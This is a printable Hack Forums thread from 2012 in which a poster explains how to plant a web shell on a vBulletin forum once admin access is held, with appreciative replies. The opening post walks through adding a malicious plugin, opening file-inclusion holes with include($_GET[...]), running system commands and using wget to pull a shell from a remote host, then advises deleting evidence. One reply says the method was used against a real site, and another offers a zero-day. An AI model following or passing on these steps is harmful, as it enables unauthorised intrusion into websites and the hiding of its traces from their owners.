Hack Forums
[Tut] Shelling vBulletin Forums [Pics!] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tut] Shelling vBulletin Forums [Pics!] (/showthread.php?tid=2206440)

Pages: Pages 1 2 3

[Tut] Shelling vBulletin Forums [Pics!] - -DownFall - Feb 12, 2012

Hey guys, today I'm gonna be showing you how to get your shell uploaded on vBulletin forums. Once you have admin access (not sure about Founder), log into your admin panel.

Usually it's something like this..
Code
http://www.site.com/forum/admincp/

If it's not, try /admin.


Once you're logged in, you should be presented with the oh so mighty vBulletin Admin Control Panel..
Spoiler (Click to View)


Now on the left, click plugins and products, and click on Add New Plugin.
Spoiler (Click to View)

It should take you to something that looks like this.
Spoiler (Click to View)

Product:vBulletin.
Hook Location: We're going to be executing remote code through the ajax plugin, so under Hook Location, click ajax_complete.
Title: .....whatever you want to name it.
Plugin PHP Code: This is where your code is going. First we want to check the disabled functions on the server. Let's see if we can get this PHP Info to show up...
Plugin is active: No

Code
phpinfo();

It should all look like this once you're done..
Spoiler (Click to View)

Now it should redirect you back to the plugins manager. If there's any plugins active under the ajax plugin, uncheck them and make sure yours is active. Scroll down and click "Save Active Status".

Should look something like this...
Spoiler (Click to View)

Now save it, and go to your ajax page.
Code
http://www.site.com/forum/ajax.php
Spoiler (Click to View)


Local File Inlcusion
allow_url_fopen = On
That means we can create a Local File Inclusion vulnerability.

Code
include($_GET[LFI])
Spoiler (Click to View)

Code
http://www.site.com/forum/ajax.php?LFI=/proc/self/status

Spoiler (Click to View)

Now you can poison logs, dig up juicy files, or use another method of LFI to get your shell up.


Remote File Inclusion

allow_url_include = Off
That means we can't create an RFI vulnerability until we get our shell up..

If we could, it would be almost the same thing as LFI.
Code
include($_GET[RFI])

Code
http://www.site.com/forum/ajax.php?RFI=http://www.site.com/shell.txt?


Remote Code Execution
Now, if any of these are disabled, you're going to have some trouble. If not, we can get our shell up using unix commands.

Code
system
exec
shell_exec
passthru

Code
system('ls');
That's a unix commands to list files, now see if it worked..

Code
http://www.site.com/forum/ajax.php
You should see all the files in the current directory.

Woot, site pwnt. Now you can use wget to get your shell uploaded..

Code
system('wget http://www.site.com/shell.txt -O shell.php');

Spoiler (Click to View)

Code
http://www.site.com/forum/shell.php
Spoiler (Click to View)

Game, there you go. Now you can activate the default plugin and delete your evidence.
Shoutout to the rest of Team Intra and my boys in Zer0Lulz for making this possible.

* - Professional Hacker - Feb 12, 2012

Nice tutorial, haven't seen this method though.

All the method I had was uploading xml shell.

Thanks for this.

* - Hooded Robin - Feb 12, 2012

Nice tutorial this should help quite a few people out and the chained exploit trick again is cool and genious! Really glad to see that I could help out a bit with the hashes, patience and hard work do pay off in the end ;)

* - HaxOr❤ - Feb 12, 2012

Nice one,but this method is really old.
I have like 0day for shelling vBulletin.

All i need is to upload one file. :)

* - ๖ۣۜVictory - Feb 12, 2012

Nice tutorial .... I have been using Another Method more easier and it works but I will try this method for more xp :D

* - -DownFall - Feb 12, 2012

(Feb 12, 2012 05:22 PM)๖ۣۜΗ α x O r ♥ Wrote:  Nice one,but this method is really old.
I have like 0day for shelling vBulletin.

All i need is to upload one file. :)

Nice, I'm sure there's a lot of other methods we don't know of. All that counts is the one that works though :3

* - HaxOr❤ - Feb 12, 2012

Mine one is working 99% of the time.
So yea,let me know if you want it. :]

* - Retribute - Feb 12, 2012

Another wonderful tutorial, -Downfall. This could be useful for me in the future. 🤝

* - The Ion - Feb 12, 2012

Another wonderful tutorial, -Downfall. nice one keep it up

* - -DownFall - Feb 12, 2012

Thanks everyone, Haxor - I'll shoot you a PM I want to try it out lol.

* - V3xD - Feb 13, 2012

This is actually the method i used to shell eBaumsworld i found this tut on google nice paste op its useful.

* - mdhz786 - Feb 13, 2012

Very nice tut brother!
Thank you.

* - omar2205 - Feb 13, 2012

The thing is .... how the hell i'm gonna have the admin access ?

* - shah121 - Feb 13, 2012

gr8 tutorial...but difficult to find..admin page and even more difficult work is to how to crack username and pass ??

* - -DownFall - Feb 13, 2012

(Feb 13, 2012 12:37 AM)omar2205 Wrote:  The thing is .... how the hell i'm gonna have the admin access ?

Dunno, not my problem lol. That's your job buddy.

(Feb 13, 2012 01:12 AM)shah121 Wrote:  gr8 tutorial...but difficult to find..admin page and even more difficult work is to how to crack username and pass ??

Dunno, I'm no superman. Just shows you how to shell vBulletin, not get the login info.